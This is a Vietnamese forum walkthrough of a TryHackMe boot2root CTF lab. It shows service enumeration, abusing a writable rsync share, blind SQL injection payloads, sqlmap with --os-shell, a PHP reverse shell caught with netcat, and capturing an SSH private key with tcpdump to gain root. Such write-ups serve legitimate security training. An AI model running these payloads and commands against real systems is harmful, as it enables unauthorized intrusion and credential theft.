Thử tay nghề với CTF boot2root. Tại sao không?

tuantran

Moderator
Thành viên BQT
27/04/2017
30
76 bài viết
Thử tay nghề với CTF boot2root. Tại sao không?
Trong thời gian gần đây, dạng CTF boot2root ngày càng phổ biến. Khi lướt trên Tryhackme platform, mình có thấy một bài CTF cũng là dạng boot2root là 1 phần của Incognito 2.0 nên sẵn đây cũng là cơ hội cho các bạn hiểu thêm về dạng này và qua bài này thì có thêm cách thức để thực hiện pentest một box.

Nếu như bạn muốn thử sức trước thì đây là link lab.

Còn nếu như bạn stuck hoặc không biết bắt đầu như thế nào thì có thể đọc bài hướng dẫn giải của mình dưới đây nhé.

Let’s start now!!!

Sau khi bạn click start thì sẽ nhận được 1 IP sau 1 phút. IP của mình là 10.10.153.55.

Với việc chỉ có 1 IP thì nghĩ ngay đến nmap nhé. Scan nào.

Khai Thác Thông tin

Chúng ta sẽ chạy để xem box đang có những dịch vụ nào.

1.png

Sau khi chạy thì chúng ta có các service đang chạy trên box như sau
  • Port 22: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • Port 80: Apache/2.4.29 (Ubuntu)
  • Port 139/445: Samba smb
  • Port 873: rsync (protocol version 21)
Để có thể xác định được cách để lấy được shell trên box thì mình sẽ đi qua từng cổng xem có gì đặc biệt hay không.

Port 22: OpenSSH.

2.png

Kiểm tra với searchsploit thì không có những lỗ hổng có thể giúp ta lấy shell mà chỉ tồn tại lỗ hổng cho phép chúng ta đoán username thôi.

Port 80: Apache 2.4.29

Đầu tiên để thu thập thông tin thì dùng niktogobuster.

Nikto:

Mã:
nikto -h 10.10.153.55 -Format txt –output nikto

Gobuster với wordlist mình mong muốn. Ở đây mình dùng common và medium wordlists.

Mã:
gobuster dir --url http://10.10.153.55 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 
gobuster dir --url http://10.10.153.55 --wordlist /usr/share/dirb/wordlists/common.txt

Trường hợp bạn chưa có gobuster thì có thể sài dirb thay thế hoặc bạn có thể cài trên kali theo kali page.

gobuster chạy cũng khá lâu nên luôn có những tham số có thể giúp chúng ta chạy nhanh hơn như tăng thread.

Trong quá trình chờ thì mình tiếp tục thu thập ở những port khác.

Port 139/445: samba smb.

Với Samba, dùng smbclient để thu thập thông tin. Kiểm tra xem có expose cái gì trong đó không?

3.png

Hoặc kiểm tra xem có lỗ hổng nào không

Mã:
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.10.153.55

Hoặc tham khảo nhiều hơn ở đây.

Samba cũng không có gì đặc biệt.

Và đến port cuối cùng là rsync trước khi quay lại cổng 80.

Port 873: Rsync

Để kiểm tra version.

4.png

Ở đây có 2 share folders là Conf và All Confs. nhưng thử kết nối mà không có gì đặc biệt.

5.png

Thông qua việc search gg, chúng ta tìm thấy cách để list và download những file được share.

https://www.netspi.com/blog/technic...ting/linux-hacking-case-studies-part-1-rsync/

https://medium.com/@minimalist.ascent/enumerating-rsync-servers-with-examples-cc3718e8e2c0

Trong config có rất nhiều file. Thử download về.

6.png

Kiểm tra xem có gì đặc biệt không?

Webapp.ini

7.png

FootHold

Ở đây có vẻ như web đang chạy ở môi trường product và có tài khoản của user.

Ok !Bây giờ quay lại port 80 xem có gì đặc biệt.

Khi load page lên browser thì là trang default của apache.
8.png

Từ gobuster và nikto trước đó chúng ta có đường dẫn. /admin. Khi vào thì trả về 403 nhưng mà view source thì có hint.

9.png

Bởi edit webapp và dùng rsync để upload lên.

10.png

Sync file.

Mã:
rsync webapp.ini 10.10.153.55::Conf/webapp.ini

Sau đó reload lại admin page.

11.png


Với credentials trước đó. Thì mình có thể đăng nhập vào.

Khi kiểm tra người dùng tom thì hiện ra kết quả

12.png

Với vài payload kiểm tra thì ở đây là 1 dạng blind sql injection.Bạn có thể dùng 2 payload dưới để kiểm tra.

Mã:
Tom” and 1=2 -- /

13.png

Mã:
Tom" and 1=1 --  /

14.png

Hoặc có thể dùng union để đoán kết quả.

tom " union select 1,2,3 -- //

15.png

Chúng ta có thể dùng mysql để tạo shell:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/MySQL Injection.md#mysql-write-a-shell

Hoặc dùng burp và lưu request to file và chạy sqlmap để check.

16.png

Đúng như kết quả ở trên

Mã:
sqlmap -r req -p username --level=3 --risk=3 --random-agent

17.png

Thử với os-shell nào.

Mã:
sqlmap -r req -p username --level=3 --risk=3 --random-agent –os-shell

18.png

Cuối cùng cũng lấy được shell.

Bây h mình sẽ có chuyển qua persistent-shell.

Đầu tiên mình route all traffic qua burp.

Mã:
sqlmap -r req -p username --level=3 --risk=3 --random-agent –os-shell –proxy=’http://127.0.0.1:8080’

Từ log burp chúng ta có thể thấy được là đã upload được shell..

19.png

Chuẩn bị 1 file php reverse shell từ pentestmonkey.

Download và chỉnh sửa host và port. Sau đó upload lên box.

Sau đó từ nc thì mình có thể lấy shell.

20.png

Ok vậy bước tiếp theo là mình cần leo quyền để đạt được root.

Privilege Escalation.

Thu thập rất nhiều thông tin từ manual nhưng không có cách nào để leo quyền nên mình quyết định dùng linpeas.

Từ kết quả cho thấy,.

21.png

Người dùng hiện tại có thể chạy tcpdump.

Dùng tcpdump để check.

Mã:
tcpdump -i lo -A -n > tcp.out

Sau khi chạy. Đọc file tcp.out. Ở đó có chứa ssh private key.

22.png

Bây h copy private key và thử login với ssh.

23.png

Oh yeah cuối cùng cũng leo quyền thành công.

Nếu trong quá trình khai có vấn đề hoặc ý kiến nào thắc mắc thì bạn có thể đặt câu hỏi ở dưới nha.
Chúc các bạn thành công.

Happy hacking!!!
 
Chỉnh sửa lần cuối:
Bài viết rất hay. Bạn nào đang có ý định và tìm hiểu thi OSCP thì nên bắt đầu làm các lab dạng boot2root như thế này
 
Comment
Thẻ
boot2root burp suite ctf linux tcp web security
Bên trên